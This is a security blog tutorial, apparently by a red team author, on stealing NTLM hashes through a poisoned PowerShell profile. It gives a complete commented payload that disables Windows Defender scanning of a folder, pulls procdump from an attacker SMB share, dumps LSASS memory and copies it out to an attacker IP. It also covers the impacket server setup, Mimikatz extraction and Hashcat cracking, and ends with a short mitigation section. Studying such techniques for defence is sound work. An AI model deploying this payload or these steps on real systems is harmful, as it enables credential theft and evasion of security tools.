Live Cyber Attack Lab 🎯 Watch our IR team detect & respond to a rogue insider trying to steal data! Choose a Session

X

Exfiltrate NTLM Hashes with PowerShell Profiles

IT Pros, PowerShell

Illustration of a PowerShell command line and logo

The privilege escalation method shown in this article is a variant used by Russian-based espionage groups. It outlines an attacker’s ability to leverage built-in PowerShell features to execute arbitrary commands in an elevated (Administrator) context. Below is a demonstration on exfiltrating NTLM hashes.

As defined by the MITRE ATT&CK Framework:

Event-Triggered Execution: Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments… Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence.

See the included topics below:

Understanding the Attack

In the below example, an unsuspecting user is starting PowerShell with Local Administrator privileges.

windows powershell admin screen capture

The session doesn’t appear unusual to the user. But after examining the PowerShell profile, we see hashed passwords sent to an attacker-controlled server. The attack is entirely transparent to the target user.

The ideal conditions for this attack are:

  • Local Administrator Capabilities: With Local Administrator accounts, PowerShell sessions started with low privileges and administrator privileges share a profile.ps1. An attacker with remote access can manipulate the profile.ps1 executed by Administrator PowerShell sessions.
  • Permissive PowerShell Execution Policies: The Execution Policy will ultimately determine if the attack is possible. The profile.ps1 will only execute in Administrator PowerShell sessions if script execution is allowed.

The network topology contains a Windows 10 and Kali Linux machine connected by a single router (shown below).

Illustration of Kali Linux and Windows PowerShell

What are PowerShell Execution Policies?

As defined by the Microsoft documentation:

PowerShell’s execution policy is a safety feature that controls the conditions under which PowerShell loads configuration files and runs scripts… The execution policy isn’t a security system that restricts user actions… Instead, the execution policy helps users to set basic rules and prevents them from violating them unintentionally.

In Windows 10, “Undefined” is the default policy in every Scope. However, it’s common for users to change the CurrentUser and LocalMachine policies to allow script executions. Permissive Policies such as RemoteSigned, Unrestricted, or Bypass make privilege escalation possible.

Use the Get-ExecutionPolicy -List command to view the current policies.

PS C:\Users\varonis> Get-ExecutionPolicy -List

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process       Undefined
  CurrentUser       Undefined
 LocalMachine       RemoteSigned

What are PowerShell Profiles?

PowerShell profiles are scripts that execute with every new PowerShell session. That includes PowerShell ISE and Visual Studio sessions. They’re a convenient way for users and developers to load custom functions and modules with every new PS terminal.

Use the $PROFILE variable to view the session’s profile path.

screen capture of a PowerShell profile

View the contents of the file with the Get-Content command.

PS C:\Users\varonis> Get-Content $PROFILE

If the directory doesn’t exist, an attacker can create it as a hidden folder to prevent detection.

PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"

If the PS1 file doesn’t exist, create it. As dumping passwords requires elevated privileges, this is an effective way to prevent the payload from executing in low privileged contexts.

PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE

screen capture of a PowerShell payload

At a glance, this doesn’t appear like a huge issue. It’s important to understand that an attacker can change a file executed automatically by Administrator PowerShell sessions. Consider replacing echo with a command to disable Windows Defender or reset passwords.

Setup the Attack

Let’s weaponize what we know about PowerShell profiles to show how an attacker can extract hashed passwords. In Kali, start by creating the working directory to store several files.

tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare

Download the latest version of Procdump.

tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'

Unzip the compressed file to find different versions of Procdump. The attack described in this article will use procdump.exe.

tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip

Download the script I created for this article and save it with the “payload” filename. Use the below command or find it on my GitHub. Change the $server IP in the payload to your Kali address.

tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload

The payload contains several simple commands. The Add-MpPreference cmdlet adds $env:TEMP to the Windows Defender exclusion list. It will prevent Windows Defender from detecting the procdump.exe or the LSASS memory dump. Acting as an alternative to Invoke-WebRequest, esentutl.exe will download procdump.exe from the attacker’s SMB share. Procdump executes and saves the LSASS dump to $env:TEMP. It’s zipped with Compress-Archive and exfiltrated to the SMB share via the cp command.

For clarity, I added comments to the payload.

# an if statement to prevent the attack from executing without administrator privileges
if (whoami /groups | findstr /i "S-1-16-12288")
{
  # start the attack as a background processs to prevent the PS terminal from stalling when opened
  Start-Job {
    # where to write data during the attack?
    $temp = "$env:TEMP"

    # create path exclusion in Windows Defender to prevent procdump detection
    Add-MpPreference -ExclusionPath $temp
    
    # sleep several seconds to allow the path exclusion to take effect
    Start-Sleep -s 4

    # the attacker's IP address
    $server = "192.168.56.101"

    # the attacker's SMB share name, must match impacket-smbserver share name
    $share = "evilshare"

    # procdump filename as it appears on the attacker's SMB share
    $procdump = "procdump.exe"

    # procdump.exe is saved locally with a random string as the filename
    $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe'

    # the procdump output path when saved locally; shameless username plug
    $dump = "tokyoneon.dmp"

    # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating
    $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip"

    # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval
    esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o

    # execute procdump and dump LSASS memory
    & $temp\$filename -accepteula -ma lsass.exe $temp\$dump

    # suppress progress bar that appears in the terminal when compressing the dump
    $ProgressPreference = "SilentlyContinue"

    # compress the dump
    Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force

    # exfiltrate the compressed dump to the attacker's SMB share via cp
    cp $temp\$exfil \\$server\$share\$exfil } | Out-Null
}

Start impacket-smbserver to serve the payload and wait for incoming LSASS dumps. The terminal must remain open for the duration of the attack.

tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"

screen capture of a PowerShell payload waiting for incoming LSASS dumps

In Windows, add the payload to the target $PROFILE. It’s possible to do this via reverse shell or backdoor, but for simplicity, use a PS terminal. Change the $attacker variable in the following command to your Kali IP address.

PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE

screen capture of a PowerShell evilshare profile

When the target starts a new Administrator PowerShell session, the impacket-smbserver will appear as shown below.

screen capture of a PowerShell impacket-smbserver

Two separate “AUTHENTICATE_MESSAGE” prompts appear in the impacket-smbserver output: The target OS fetching the procdump.exe and the compressed LSASS dump delivered to the server. After the second message, wait a few moments and press Ctrl + c twice to kill the Impacket server. There will be a new ZIP file in the current directory. Unzip it to find the DMP file.

Extract Password Hashes with Mimikatz

The hashed passwords in the DMP file are not readable in plaintext. Move the DMP file to a Windows 10 VM with Windows Defender disabled. Download the latest version of Mimikatz (mimikatz_trunk.zip) and save it to the Downloads folder in Windows.

Open a PowerShell terminal and decompress the ZIP with the following command.

PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz

Change into the x64 directory and execute the mimikatz.exe binary.

PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe

screen capture of mimikatz.exe

Load the DMP info Mimikatz with the sekurlsa::minidump command.

mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp

Use the sekurlsa::logonPasswords command to extract hashed credentials. Notice the NTLM hash on line 12.

mimikatz # sekurlsa::logonPasswords

Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump...

  1	Authentication Id : 0 ; 188563 (00000000:0002e093)
  2	Session           : Interactive from 1
  3	User Name         : varonis
  4	Domain            : DESKTOP-JI80T34
  5	Logon Server      : DESKTOP-JI80T34
  6	Logon Time        : 11/15/2020 9:56:57 PM
  7	SID               : S-1-5-21-3489785614-2607058550-4100802712-1001
  8	        msv :
  9	         [00000003] Primary
 10	         * Username : varonis
 11	         * Domain   : DESKTOP-JI80T34
 12	         * NTLM     : 2ba9afd0306922f6aed8c6a2406ddab5
 13	         * SHA1     : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f
 14	        tspkg :
 15	        wdigest :
 16	         * Username : varonis
 17	         * Domain   : DESKTOP-JI80T34
 18	         * Password : (null)
 19	        kerberos :
 20	         * Username : varonis
 21	         * Domain   : DESKTOP-JI80T34
 22	         * Password : (null)
 23	        ssp :
 24	        credman :
 25	        cloudap :
    
 			----- [truncated] -----
    
 59	Authentication Id : 0 ; 999 (00000000:000003e7)
 60	Session           : UndefinedLogonType from 0
 61	User Name         : DESKTOP-JI80T34$
 62	Domain            : WORKGROUP
 63	Logon Server      : (null)
 64	Logon Time        : 11/15/2020 9:56:50 PM
 65	SID               : S-1-5-18
 66	        msv :
 67	        tspkg :
 68	        wdigest :
 69	         * Username : DESKTOP-JI80T34$
 70	         * Domain   : WORKGROUP
 71	         * Password : (null)
 72	        kerberos :
 73	         * Username : desktop-ji80t34$
 74	         * Domain   : WORKGROUP
 75	         * Password : (null)
 76	        ssp :
 77	        credman :
 78	        cloudap :

mimikatz #

Crack NTLM Hashes with Hashcat

Now onto another pentesting tool, Hashcat. Even in 2020, people use weak passwords to secure their data and accounts. With the latest version of Hashcat and a generic GTX 1060 GPU, it took one-second to crack a hash containing seven characters.

tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l

screen capture of a Hashcat in action

Mitigation & Detection

As recommended by the MITRE ATT&CK Framework:

Monitor the profile locations for modifications. Additional mitigations include:

  • Code Signing: Enforce execution of only signed PowerShell scripts. Sign profiles to avoid them from being modified.
  • Restrict File and Directory Permissions: Making PowerShell profiles immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user-level persistence.
  • Software Configuration: Avoid PowerShell profiles if not needed. Use the -NoProfile flag when executing PowerShell scripts remotely to prevent local profiles from being executed.

Conclusion

This attack on NTLM hashes illustrates the dangers of an overly permissive policy coupled with local administrator accounts. While this detailed how an attacker can force the administrator to exfiltrate NTLM hashes, it’s trivial to modify the featured payload and elevate to NT AUTHORITY\SYSTEM with PsExec. See additional tips for pentesters using PowerShell.

Follow me on Twitter @tokyoneon_ and GitHub to keep up with my current projects. For questions and concerns, leave a comment or message me on Twitter.

Tokyoneon

Tokyoneon

Tokyoneon is a certified red team operator with over one-hundred offensive security publications as well as experience exploiting weaknesses in web applications and vulnerabilities in modern infrastructure. eCPPT / eWPTX / OSCP / OSWP / PenTest+ / CySA+ / Security+

 

Does your cybersecurity start at the heart?

Get a highly customized data risk assessment run by engineers who are obsessed with data security.